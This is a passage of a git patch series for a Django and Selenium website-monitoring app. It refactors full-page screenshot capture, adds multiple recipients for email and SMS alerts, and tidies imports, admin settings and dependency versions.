diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py
index fd8d0850..8b024ec8 100644
--- a/app/api/utils/driver.py
+++ b/app/api/utils/driver.py
@@ -70,7 +70,7 @@ def driver_init(
     if browser == 'chrome':
         options.add_argument("--no-sandbox")
         options.add_argument("disable-blink-features=AlertControlled")
-        options.add_argument("--headless")
+        options.add_argument("--headless=new")
         options.add_argument("--disable-dev-shm-usage")
         options.add_argument("ignore-certificate-errors")
         options.add_argument("--hide-scrollbars")
@@ -111,7 +111,7 @@ def driver_init(
     if browser == 'edge':
         options.add_argument("--no-sandbox")
         options.add_argument("disable-blink-features=AlertControlled")
-        options.add_argument("--headless")
+        options.add_argument("--headless=new")
         options.add_argument("--disable-dev-shm-usage")
         options.add_argument("ignore-certificate-errors")
         options.add_argument("--hide-scrollbars")
diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index f530f2c4..2eabcab7 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -1,15 +1,14 @@
 from .driver import driver_init, driver_wait, quit_driver
-from ..models import Site, Scan, Test, Mask
+from ..models import Mask
 from skimage.metrics import structural_similarity
 from cursion import settings
 from PIL import Image as I, ImageChops, ImageStat
 from datetime import datetime
-from asgiref.sync import sync_to_async
 from openai import OpenAI
 from pydantic import BaseModel
 from .meter import meter_account
-import time, os, sys, json, uuid, boto3, \
-    statistics, shutil, numpy, cv2, requests
+import time, os, uuid, boto3, \
+    base64, shutil, numpy, cv2, requests
 
 
 
@@ -132,7 +131,7 @@ def add_images(self, im1: object, im2: object) -> object:
 
 
     
-    def save_image(self, pic_id: str, image: object) -> None:
+    def save_image(self, pic_id: str, image: str) -> None:
         """
         Upload image to s3, save info as image_obj,
         add image_obj to image_array, & remove image file
@@ -523,119 +522,145 @@ class Result(BaseModel):
 
 
 
-    def scan_vrt(self, driver: object=None) -> list:
-        """
-        Grabs full length screenshots of the website and uploads 
-        them to s3.
+    def resize_window(
+            self, 
+            driver: object=None, 
+            sizes: list=[]
+        ) -> object:
+        """ 
+        Tries to resize the window length by scrolling to 
+        the bottom of the page.
 
-        Expects: {
-            'driver': object
-        }
+        Args:
+            driver: `<object>`,
+            sizes: `<list>`
 
-        Returns -> self.image_array list
+        Returns:
+            `Driver` 
         """
+        
+        # pausing image stretching
+        driver.execute_script(self.pause_stretch)
+
+        # get scroll_height, client_height & set window_size
+        scroll_height = driver.execute_script("return document.documentElement.scrollHeight;")
+        client_height = driver.execute_script("return document.documentElement.clientHeight;")
+
+        # trying to match "document.body.clientHeight" 
+        # and "document.body.scrollHeight"
+        # iterate 3 times or untill height_diff is less than 20
+        i = 0
+        success = False
+        while not success and i < 4:
+
+            # set window_size
+            driver.set_window_size(int(sizes[0]), (int(scroll_height)))
+            
+            # scroll down and up
+            driver.execute_script(f"window.scrollBy(0, {client_height});")
+            time.sleep(1)
+            driver.execute_script(f"window.scrollBy(0, -{client_height});")
+            
+            # get client & new scroll height
+            client_height = driver.execute_script("return document.documentElement.clientHeight;")
+            new_scroll_height = driver.execute_script("return document.documentElement.scrollHeight;")
 
-        # initialize driver if not passed as param
-        driver_present = True
-        if not driver:
-            driver = driver_init(
-                browser=self.scan.configs.get('browser', 'chrome'),
-                window_size=self.scan.configs.get('window_size', '1920,1080'),
-                device=self.scan.configs.get('device', 'desktop'),
-            )
-            driver_present = False
+            # get difference between full page height and new scrolled position
+            height_diff = int(new_scroll_height) - int(client_height)
 
-        # request page_url 
-        driver.get(self.scan.page.page_url)
+            # re-set window size
+            print(f'adding {height_diff} to full_page_height')
+            scroll_height += height_diff if height_diff > 0 else 0
 
-        # waiting for network requests to resolve
-        driver_wait(
-            driver=driver, 
-            interval=int(self.scan.configs.get('interval', 5)),  
-            min_wait_time=int(self.scan.configs.get('min_wait_time', 10)),
-            max_wait_time=int(self.scan.configs.get('max_wait_time', 30)),
-        )
+            # checking difference
+            if height_diff < 20:
+                success = True
 
-        # defining browser demesions
-        sizes = self.scan.configs.get('window_size', '1920,1080').split(',')
+            # increment
+            i += 1
 
-        # calculating and auto setting page height
-        if self.scan.configs.get('auto_height', True):
+        return driver
 
-            # pausing image stretching
-            driver.execute_script(self.pause_stretch)
 
-            # get scroll_height, client_height & set window_size
-            scroll_height = driver.execute_script("return document.documentElement.scrollHeight;")
-            client_height = driver.execute_script("return document.documentElement.clientHeight;")
 
-            # trying to match "document.body.clientHeight" 
-            # and "document.body.scrollHeight"
-            # iterate 3 times or untill height_diff is less than 20
-            i = 0
-            success = False
-            while not success and i < 4:
 
-                # set window_size
-                driver.set_window_size(int(sizes[0]), (int(scroll_height)))
-                
-                # scroll down and up
-                driver.execute_script(f"window.scrollBy(0, {client_height});")
-                time.sleep(1)
-                driver.execute_script(f"window.scrollBy(0, -{client_height});")
-                
-                # get client & new scroll height
-                client_height = driver.execute_script("return document.documentElement.clientHeight;")
-                new_scroll_height = driver.execute_script("return document.documentElement.scrollHeight;")
+    def autoheight_screenshot(
+            self, 
+            driver: object=None, 
+            sizes: list=[],
+            browser: str='chrome'
+        ) -> object:
 
-                # get difference between full page height and new scrolled position
-                height_diff = int(new_scroll_height) - int(client_height)
+        """
+        Captures full-page screenshots of the current page 
+        using browser specifc functions.
 
-                # re-set window size
-                print(f'adding {height_diff} to full_page_height')
-                scroll_height += height_diff if height_diff > 0 else 0
+        Args:
+            - driver,
+            - sizes,
+            - browser
+        
+        Returns:
+            - driver
+        """
 
-                # checking difference
-                if height_diff < 20:
-                    success = True
+        # setting defaults
+        pic_id  = uuid.uuid4()
+        image   = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
 
-                # increment
-                i += 1
+        # seting window size to configs before resize
+        driver.set_window_size(sizes[0], sizes[1])
 
+        # handle chrome & edge cases
+        if browser in ['chrome', 'edge']:
 
-        if self.scan.configs.get('disable_animations') == True:
-            # inserting animation pausing script
-            try:
-                driver.execute_script(self.pause_animations_script)
-            except:
-                print('cannot pause animations')
-                
-            # inserting video pausing scripts
-            try:
-                driver.execute_script(self.pause_video_script)
-            except:
-                print('cannnot pause videos')
+            # get page height
+            metrics = driver.execute_cdp_cmd("Page.getLayoutMetrics", {})
+            height  = metrics["contentSize"]["height"]
 
-        # mask all listed ids        
-        if self.scan.configs.get('mask_ids') is not None and self.scan.configs.get('mask_ids') != '':
-            ids = self.scan.configs.get('mask_ids').split(',')
-            for id in ids:
-                try:
-                    driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';")
-                    print('masked an element')
-                except:
-                    print('cannot find element via id provided')
+            # set viewport
+            driver.set_window_size(sizes[0], height)
 
-        # mask all Global mask ids that are active
-        active_masks = Mask.objects.filter(active=True)
-        if len(active_masks) != 0:
-            for mask in active_masks:
-                try:
-                    driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';")
-                    print('masked an element')
-                except:
-                    print('cannot find element via global mask id provided')
+            # capture screenshot using CDP
+            screenshot = driver.execute_cdp_cmd("Page.captureScreenshot", {
+                "format": "png",
+                "fromSurface": True,
+                "captureBeyondViewport": True,
+            })
+
+            # dcecode and save
+            with open(image, "wb") as f:
+                f.write(base64.b64decode(screenshot['data']))
+
+        # handle firefox cases
+        if browser == 'firefox':
+            
+            # execute firefox sepcific screenshot function
+            driver.get_full_page_screenshot_as_file(image)
+
+        # save and upload
+        self.save_image(pic_id, image)
+        
+        # return driver
+        return driver
+
+
+
+
+    def scroll_and_stitch_screenshot(
+            self, 
+            driver: object=None, 
+        ) -> object:
+        """
+        Captures full-page screenshots of the current page 
+        using the scroll-and-stitch method
 
+        Args:
+            - driver,
+        
+        Returns:
+            - driver
+        """
         # scroll one frame at a time and capture screenshot
         final_img = None
         index = 0
@@ -703,6 +728,102 @@ def scan_vrt(self, driver: object=None) -> list:
 
         # saving image
         self.save_image(pic_id=pic_id_2, image=final_img)
+        return driver
+    
+
+
+
+    def scan_vrt(self, driver: object=None) -> list:
+        """
+        Grabs full length screenshots of the website and uploads 
+        them to s3.
+
+        Expects: {
+            'driver': object
+        }
+
+        Returns -> self.image_array list
+        """
+
+        # initialize driver if not passed as param
+        driver_present = True
+        if not driver:
+            driver = driver_init(
+                browser=self.scan.configs.get('browser', 'chrome'),
+                window_size=self.scan.configs.get('window_size', '1920,1080'),
+                device=self.scan.configs.get('device', 'desktop'),
+            )
+            driver_present = False
+
+        # request page_url 
+        driver.get(self.scan.page.page_url)
+
+        # waiting for network requests to resolve
+        driver_wait(
+            driver=driver, 
+            interval=int(self.scan.configs.get('interval', 5)),  
+            min_wait_time=int(self.scan.configs.get('min_wait_time', 10)),
+            max_wait_time=int(self.scan.configs.get('max_wait_time', 30)),
+        )
+
+        # defining browser demesions
+        sizes = self.scan.configs.get('window_size', '1920,1080').split(',')
+
+        # calculating and auto setting page height
+        if self.scan.configs.get('auto_height', True):
+            self.resize_window(driver, sizes)
+
+
+        if self.scan.configs.get('disable_animations') == True:
+            # inserting animation pausing script
+            try:
+                driver.execute_script(self.pause_animations_script)
+            except:
+                print('cannot pause animations')
+                
+            # inserting video pausing scripts
+            try:
+                driver.execute_script(self.pause_video_script)
+            except:
+                print('cannnot pause videos')
+
+        # mask all listed ids        
+        if self.scan.configs.get('mask_ids') is not None and self.scan.configs.get('mask_ids') != '':
+            ids = self.scan.configs.get('mask_ids').split(',')
+            for id in ids:
+                try:
+                    driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';")
+                    print('masked an element')
+                except:
+                    print('cannot find element via id provided')
+
+        # mask all Global mask ids that are active
+        active_masks = Mask.objects.filter(active=True)
+        if len(active_masks) != 0:
+            for mask in active_masks:
+                try:
+                    driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';")
+                    print('masked an element')
+                except:
+                    print('cannot find element via global mask id provided')
+
+        # capture auto-height screenshot if requested
+        if self.scan.configs.get('auto_height', True):
+
+            # capturing via browser specific functions
+            self.autoheight_screenshot(
+                driver=driver,
+                sizes=sizes,
+                browser=self.scan.configs.get('browser', 'chrome')
+            )
+        
+        # capture non auto-height screenshot if requested
+        if not self.scan.configs.get('auto_height', True):
+            
+            # capturing via scroll-and-stitch method 
+            self.scroll_and_stitch_screenshot(
+                driver=driver
+            )
 
         # clean up
         if not driver_present:

From dbe65e546a615e1ae572b10fe03de531ee27140a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 Oct 2025 15:12:11 -0400
Subject: [PATCH 1023/1099] routine: cleaned up search params

---
 app/api/admin.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index 4e0fcc7f..451079ee 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -20,8 +20,8 @@
 
 @admin.register(Account)
 class AccountAdmin(admin.ModelAdmin):
-    list_display = ('__str__', 'time_created', 'type')
-    search_fields = ('__str__',)
+    list_display = ('name', 'user__email', 'time_created', 'type')
+    search_fields = ('name', 'user__email')
     actions = ['reset_usage',]
 
     def reset_usage(self, queryset):

From 410d218e7a6899983946a9601440723172f90864 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 Oct 2025 15:12:36 -0400
Subject: [PATCH 1024/1099] routine: cleaned out unused imports

---
 app/api/models.py | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index eaefd9b6..7c1faba4 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -1,9 +1,6 @@
 from django.db import models
 from django.utils import timezone
-from django.urls import reverse
 from django.contrib.auth.models import User
-from datetime import datetime
-from django.contrib.postgres.fields import JSONField
 from cursion import settings
 import uuid, secrets
 

From 71ba84cb78cc3e52a516ad17057aa580c0e316d1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 Oct 2025 15:14:00 -0400
Subject: [PATCH 1025/1099] fix: removed docker prune cmd

---
 setup/scripts/local.sh | 1 -
 1 file changed, 1 deletion(-)

diff --git a/setup/scripts/local.sh b/setup/scripts/local.sh
index 00ff59b9..8d822ade 100644
--- a/setup/scripts/local.sh
+++ b/setup/scripts/local.sh
@@ -4,7 +4,6 @@
 # " echo 'export CURSION_ROOT=<your/path/to/cursion/server>' >> ~/.zshrc   (or ~/.bash_profile) " 
 
 cd $CURSION_ROOT &&
-docker system prune -f &&
 {   
     docker compose -f docker-compose.yml down &&
     docker volume rm cursion_server cursion_beat cursion_celery &&

From 6926567f3d8b3f21a8c6bf2119a8b5c32a8f918a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 Oct 2025 15:14:14 -0400
Subject: [PATCH 1026/1099] refactor: enhance filtering logic for pre_scan
 retrieval in tasks and services

---
 app/api/tasks.py           | 12 ++++++++----
 app/api/v1/ops/services.py |  6 ++++--
 2 files changed, 12 insertions(+), 6 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 24b5b6cd..e7ef7494 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -20,6 +20,8 @@
 from .utils.meter import meter_account
 from .utils.manager import record_task
 from .models import *
+from functools import reduce
+from django.db.models import Q
 from django.contrib.auth.models import User
 from django.utils import timezone
 from datetime import datetime, timedelta, timezone as tz
@@ -27,8 +29,8 @@
 from contextlib import contextmanager
 from kombu.utils.encoding import bytes_to_str
 from cursion import settings
-import asyncio, boto3, time, requests, \
-json, stripe, inspect, random, secrets
+import boto3, time, requests, operator, \
+json, stripe, inspect, random, secrets 
 
 
 
@@ -1594,9 +1596,11 @@ def create_test(
             pre_scan = (
                 Scan.objects.filter(
                     page=page,
-                    type__overlap=type,
                     configs__window_size=configs.get('window_size')
                 )
+                .filter(
+                    reduce(operator.and_, (Q(type__contains=[t]) for t in type))
+                )
                 .exclude(time_completed=None)
                 .order_by('-time_completed')
                 .first()
@@ -1680,7 +1684,7 @@ def create_test(
             site=page.site,
             page=page,
             tags=tags, 
-            type=settings.TYPES,
+            type=type,
             configs=configs
         )
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index a3512335..3dfab83c 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1,6 +1,7 @@
 from django.contrib.auth.models import User
 from django_celery_beat.models import CrontabSchedule, PeriodicTask
 from django.db.models import Q
+from functools import reduce
 from django.http import HttpResponse
 from django.utils import timezone
 from django.core.cache import cache
@@ -19,7 +20,7 @@
 from ...utils.devices import devices
 from ...utils.issuer import Issuer
 from datetime import datetime, timedelta
-import json, boto3, os, requests, uuid, secrets
+import json, boto3, os, requests, uuid, secrets, operator
 
 
 
@@ -2291,7 +2292,8 @@ def create_test(request: object=None, **kwargs) -> object:
             pre_scan = Scan.objects.filter(
                 page=p,
                 configs__window_size=configs.get('window_size'),
-                type_overlap=test_type
+            ).filter(
+                reduce(operator.and_, (Q(type__contains=[t]) for t in test_type))
             ).order_by('-time_created').first()
 
         # verifying pre_ and post_ scans completion

From 87b5d5a2d2a1b4bf18be0d930289754962d77fe8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 Oct 2025 16:36:39 -0400
Subject: [PATCH 1027/1099] fix: reverted back to EdgeDriver

---
 app/api/utils/driver.py | 14 +++++---------
 1 file changed, 5 insertions(+), 9 deletions(-)

diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py
index 8b024ec8..c6942eac 100644
--- a/app/api/utils/driver.py
+++ b/app/api/utils/driver.py
@@ -24,7 +24,7 @@ def driver_init(
     """ 
     Starts a new selenium driver instance
 
-    Expects: {
+    Args:
         'browser'       : str,
         'window_size'   : str, 
         'device'        : str,
@@ -33,7 +33,6 @@ def driver_init(
         'wait_time'     : int, 
         'pixel_ratio'   : int,
         'scale_factor'  : int
-    } 
 
     Returns -> driver object
     """
@@ -70,7 +69,7 @@ def driver_init(
     if browser == 'chrome':
         options.add_argument("--no-sandbox")
         options.add_argument("disable-blink-features=AlertControlled")
-        options.add_argument("--headless=new")
+        options.add_argument("--headless")
         options.add_argument("--disable-dev-shm-usage")
         options.add_argument("ignore-certificate-errors")
         options.add_argument("--hide-scrollbars")
@@ -111,7 +110,7 @@ def driver_init(
     if browser == 'edge':
         options.add_argument("--no-sandbox")
         options.add_argument("disable-blink-features=AlertControlled")
-        options.add_argument("--headless=new")
+        options.add_argument("--headless")
         options.add_argument("--disable-dev-shm-usage")
         options.add_argument("ignore-certificate-errors")
         options.add_argument("--hide-scrollbars")
@@ -126,7 +125,6 @@ def driver_init(
         
         # init driver
         driver = webdriver.Edge(options=options)
-    
 
     # resizing window
     driver.maximize_window()
@@ -264,18 +262,16 @@ def get_data(
     Once the page has loaded, grabs the
     page-source (html) and console-logs (logs).
 
-    Expects: {
+    Args:
         'driver'        : object, 
         'browser'       : str, 
         'interval'      : int,
         'max_wait_time' : int,
         'min_wait_time' : int
-    }
 
-    Returns -> data = {
+    Returns:
         'html' : str,
         'logs' : dict
-    }
     """
 
     # setting defaults

From 5cfe89b8c49c716447c5e9c1661c044ed7fc198d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 Oct 2025 16:37:12 -0400
Subject: [PATCH 1028/1099] fix: removed `user_email` from `list_display`

---
 app/api/admin.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index 451079ee..f0b72d09 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -20,7 +20,7 @@
 
 @admin.register(Account)
 class AccountAdmin(admin.ModelAdmin):
-    list_display = ('name', 'user__email', 'time_created', 'type')
+    list_display = ('name', 'user', 'time_created', 'type')
     search_fields = ('name', 'user__email')
     actions = ['reset_usage',]
 

From 707caadab1206e2691fe5790b18b896d5ad80ac0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 Oct 2025 11:31:28 -0400
Subject: [PATCH 1029/1099] feat: added multiple recipients to email and sms
 alerts

---
 app/api/tasks.py         |   7 ++-
 app/api/utils/alerts.py  | 128 ++++++++++++++++++++++-----------------
 app/api/utils/flowr.py   |   3 -
 app/api/utils/updater.py |  39 ++++++------
 4 files changed, 93 insertions(+), 84 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index e7ef7494..d2b2bd41 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -3570,15 +3570,16 @@ def send_email_bg(
     """ 
     Run `Alerts.sendgrid_email` as a backgroud task
 
-    Expects: { 
+    Args:
         'account_id'    : str, 
         'objects'       : list,
         'message_obj'   : dict,
         'flowrun_id'    : str,
         'node_index'    : str,
-    }
+    
 
-    Returns: None
+    Returns:
+        None
     """
 
     # interating through objects
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index eb4919bb..428b9869 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -4,7 +4,7 @@
 from slack_sdk.web import WebClient
 from slack_sdk.errors import SlackApiError
 from sendgrid import SendGridAPIClient
-from sendgrid.helpers.mail import *
+from sendgrid.helpers.mail import Mail, Subject, Content, From
 from ..models import *
 from cursion import settings
 from .definitions import get_definition, definitions
@@ -788,12 +788,16 @@ def sendgrid_email(
     title           = message_obj.get('title', '')
     pre_header      = message_obj.get('pre_header', '')
     button_text     = message_obj.get('button_text')
-    email           = message_obj.get('email')
+    emails          = message_obj.get('email')
     exp_list        = message_obj.get('exp_list')
     object_url      = message_obj.get('object_url')
     signature       = message_obj.get('signature', '- Cheers!')
     greeting        = message_obj.get('greeting', 'Hi there,')
 
+    # defaults
+    success = True
+    msg     = str('')
+
     if account_id:
         # get account & secrets
         account = Account.objects.get(id=account_id)
@@ -832,41 +836,44 @@ def sendgrid_email(
     if exp_list is not None:
         template = settings.AUTOMATION_TEMPLATE
 
-    # init SendGrid message
-    message = Mail(
-        from_email=From(settings.SENDGRID_EMAIL, 'Cursion'),
-        to_emails=email,  
-    )
+    # loop through passed email addresses
+    for email in emails.split(','):
 
-    # attach template data and id
-    if not plain_text:
-        message.dynamic_template_data = template_data
-        message.template_id = template
-    
-    # building message as plain text
-    if plain_text:
-        message.subject = Subject(subject)
-        message.content = [
-            Content(
-                mime_type="text/html",
-                content=content
-            )
-        ]
+        # init SendGrid message
+        message = Mail(
+            from_email=From(settings.SENDGRID_EMAIL, 'Cursion'),
+            to_emails=email.strip(),  
+        )
 
-    # send message 
-    try:
-        sg = SendGridAPIClient(api_key=settings.SENDGRID_API_KEY)
-        response = sg.send(message)
-        status = True
-        msg = 'email sent successfully'
-    except Exception as e:
-        status = False
-        msg = str(e)
-        print(f'error sending email -> {e}')
+        # attach template data and id
+        if not plain_text:
+            message.dynamic_template_data = template_data
+            message.template_id = template
+        
+        # building message as plain text
+        if plain_text:
+            message.subject = Subject(subject)
+            message.content = [
+                Content(
+                    mime_type="text/html",
+                    content=content
+                )
+            ]
+
+        # send message 
+        try:
+            sg = SendGridAPIClient(api_key=settings.SENDGRID_API_KEY)
+            sg.send(message)
+            msg = f'{msg}, email sent successfully to {email.strip()}'
+        except Exception as e:
+            success = False
+            err = f'error sending email to {email.strip()}'
+            msg = f'{msg}, {err}' 
+            print(f'{err} | {e}')
 
     # formatting resposne
     data = {
-        'success': status,
+        'success': success,
         'message': msg
     }
 
@@ -882,8 +889,8 @@ def send_phone(
         body: str=None
     ) -> dict:
     """ 
-    Using Twilio, sends an SMS with the passed 'body'
-    to the passed 'phone_number'
+    Using Twilio, sends an SMS with the passed 'body' to the passed 
+    'phone_number' (single or comma seperated string of phone numbers)
 
     Expects: { 
         'account_id'    : str, 
@@ -908,30 +915,37 @@ def send_phone(
 
         # cleaning data
         body = transpose_data(body, obj, secrets)
+ 
+    # defaults
+    success = True
+    msg     = str('')
 
-    try:
-        # setup client
-        account_sid = settings.TWILIO_SID
-        auth_token  = settings.TWILIO_AUTH_TOKEN
-        client = Client(account_sid, auth_token)
-
-        # clean phone_number
-        phone_number = phone_number.strip().replace('(', '').replace(')', '').replace('-', '')
-        phone_number = ''.join(phone_number.split())
-
-        # send message
-        message = client.messages.create(
-            to=phone_number, 
-            from_=settings.TWILIO_NUMBER,
-            body=body
-        )
-        success = True
-        msg = 'sms sent successfully'
+    # loop through phone numbers 
+    for number in phone_number.split(','):
+        
+        try:
+            # setup client
+            account_sid = settings.TWILIO_SID
+            auth_token  = settings.TWILIO_AUTH_TOKEN
+            client = Client(account_sid, auth_token)
+
+            # clean phone_number
+            number = number.strip().replace('(', '').replace(')', '').replace('-', '')
+            number = ''.join(number.split())
+
+            # send message
+            client.messages.create(
+                to=number, 
+                from_=settings.TWILIO_NUMBER,
+                body=body
+            )
+            msg = f'{msg}, sms sent successfully to {number}'
 
-    except Exception as e:
-        print(e)
-        success = False
-        msg = str(e)
+        except Exception as e:
+            success = False
+            err = f'error sending sms to {number}'
+            msg = f'{msg}, {err}' 
+            print(f'{err} | {e}')
     
     data = {
         'success': success,
@@ -981,7 +995,7 @@ def send_slack(
         client = WebClient(token=token) 
 
         # send message
-        response = client.chat_postMessage(
+        client.chat_postMessage(
             channel=channel,
             text=(body),
             block=[
diff --git a/app/api/utils/flowr.py b/app/api/utils/flowr.py
index b2575138..e4905875 100644
--- a/app/api/utils/flowr.py
+++ b/app/api/utils/flowr.py
@@ -525,8 +525,6 @@ def run_next(self) -> None:
             # set defaults
             true_outcomes       = []
             false_outcomes      = []
-            false_child_ran     = False
-            true_child_ran      = False
 
             # iterate through the objects and run conditions for each
             for obj_data in current_data['node']['data'].get('objects', []):
@@ -710,7 +708,6 @@ def execute_step(self, step_data: dict=None, objects: list=None) -> None:
         node_data   = step_data['node']['data']
         task_type   = node_data['task_type']
         node_index  = step_data['index']
-        parent_data = None if node_index == 0 else self.get_node_by_id(node_data['parentId'])
         message     = (
             f'starting job ID: {node_data["id"]} ' + 
             f'| job type is [ {task_type.upper()} ]'
diff --git a/app/api/utils/updater.py b/app/api/utils/updater.py
index a0ccfbf2..399cdabb 100644
--- a/app/api/utils/updater.py
+++ b/app/api/utils/updater.py
@@ -98,17 +98,7 @@ def get_step_status(object_list):
         if 'failed' in statuses and 'working' not in statuses:
             return 'failed'
         return 'passed'
-
-
-    # get datetime from str
-    def get_timestamp(timestamp):
-        # format for timestamp
-        f = '%Y-%m-%d %H:%M:%S.%f'
-        # clean timestamp str
-        clean_str = timestamp.replace('T', ' ').replace('Z', '')
-        # format date str as datetime obj
-        return datetime.strptime(clean_str, f)
-
+    
 
     # update flowrun logs, nodes, & edges
     nodes = flowrun.nodes
@@ -143,17 +133,24 @@ def get_timestamp(timestamp):
             edges[edge_index]['animated'] = True if nodes[int(node_index)]['data']['status'] == 'working' else False
             edges[edge_index]['style'] = {'stroke': "#60a5fa"} if nodes[int(node_index)]['data']['status'] == 'working' else None
 
-
+    # added messages to logs
     if message:
-        # update current logs
-        logs.append({
-            'timestamp': timestamp,
-            'message': message,
-            'step': nodes[int(node_index)]['id'] if node_index else logs[-1]['step']
-        })
-
-        # sort new logs
-        logs = sorted(logs, key=lambda l: (int(l['step'])))
+
+        # loop through multiple messages if passed:
+        for msg in message.split(','):
+            
+            # check for empty string
+            if msg and len(msg) > 0:
+
+                # update current logs
+                logs.append({
+                    'timestamp': timestamp,
+                    'message': msg,
+                    'step': nodes[int(node_index)]['id'] if node_index else logs[-1]['step']
+                })
+
+                # sort new logs
+                logs = sorted(logs, key=lambda l: (int(l['step'])))
 
 
     # save updates

From 1a91b6904a8cefb2f7b060073407c1145cc0f097 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 Oct 2025 12:08:37 -0400
Subject: [PATCH 1030/1099] fix: ensure viewport height is set to maximum of
 content size and predefined size

---
 app/api/utils/imager.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index 2eabcab7..b47ea216 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -616,7 +616,7 @@ def autoheight_screenshot(
 
             # get page height
             metrics = driver.execute_cdp_cmd("Page.getLayoutMetrics", {})
-            height  = metrics["contentSize"]["height"]
+            height  = max(metrics["contentSize"]["height"], sizes[1])
 
             # set viewport
             driver.set_window_size(sizes[0], height)

From 9a09a376e89eec08cb44d72de534f5a1cd0993b6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 Oct 2025 12:45:05 -0400
Subject: [PATCH 1031/1099] routine: updated selenium and dependencies

---
 setup/requirements/requirements.txt | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/setup/requirements/requirements.txt b/setup/requirements/requirements.txt
index 9490162a..5eaf29e4 100644
--- a/setup/requirements/requirements.txt
+++ b/setup/requirements/requirements.txt
@@ -2,9 +2,9 @@ amqp==5.2.0
 asgiref==3.8.1
 beautifulsoup4==4.12.2
 billiard==4.2.0
-boto3==1.20.32
+boto3==1.40.52
 celery==5.4.0
-certifi==2023.7.22
+certifi==2025.10.5
 chardet==4.0.0
 click==8.1.7
 click-didyoumean==0.3.1
@@ -37,11 +37,11 @@ pydantic==2.10.6
 pyjwt==2.1.0
 pytz==2021.1
 redis==3.5.3
-requests==2.26.0
+requests==2.32.5
 reportlab==4.2.0
 scikit-image==0.23.2
 scipy==1.13.0
-selenium==4.18.1
+selenium==4.36.0
 sendgrid==6.9.7
 six==1.16.0
 slack-sdk==3.11.2
@@ -50,10 +50,10 @@ stripe==11.4.1
 tiktoken==0.9.0
 tornado==6.1
 twilio==7.3.0
-urllib3==1.26.5
+urllib3==2.5.0
 vine==5.1.0
 wcwidth==0.2.5
-websocket-client==1.0.1
+websocket-client==1.9.0
 whitenoise==6.1.0
 
 

From 79d0521c69196df4f4a4cd65fc30826cd51e78c3 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 Oct 2025 12:45:55 -0400
Subject: [PATCH 1032/1099] fix: forced `int` types for height comparison

---
 app/api/utils/imager.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index b47ea216..bd31c28d 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -616,7 +616,7 @@ def autoheight_screenshot(
 
             # get page height
             metrics = driver.execute_cdp_cmd("Page.getLayoutMetrics", {})
-            height  = max(metrics["contentSize"]["height"], sizes[1])
+            height  = max(int(metrics["contentSize"]["height"]), int(sizes[1]))
 
             # set viewport
             driver.set_window_size(sizes[0], height)

From 8ec0930f6d38780cab77047764d3319446d3a555 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 23 Oct 2025 10:47:38 -0400
Subject: [PATCH 1033/1099] routine: cleaned up unused args

---
 app/api/utils/driver.py | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py
index c6942eac..a79150a0 100644
--- a/app/api/utils/driver.py
+++ b/app/api/utils/driver.py
@@ -12,14 +12,11 @@
 
 
 def driver_init(
-        browser: str='chrome',
-        window_size: str='1920,1080', 
-        device: str='Windows 10 PC',
-        script_timeout: int=30,
-        load_timeout: int=30,
-        wait_time: int=15, 
-        pixel_ratio: int=1.0,
-        scale_factor: int=0.5
+        browser         : str='chrome',
+        window_size     : str='1920,1080', 
+        device          : str='Windows 10 PC',
+        pixel_ratio     : int=1.0,
+        scale_factor    : int=0.5
     ) -> object:
     """ 
     Starts a new selenium driver instance

From 26d27ed256a0f1971b795d2e1f604078650278f5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 23 Oct 2025 13:57:42 -0400
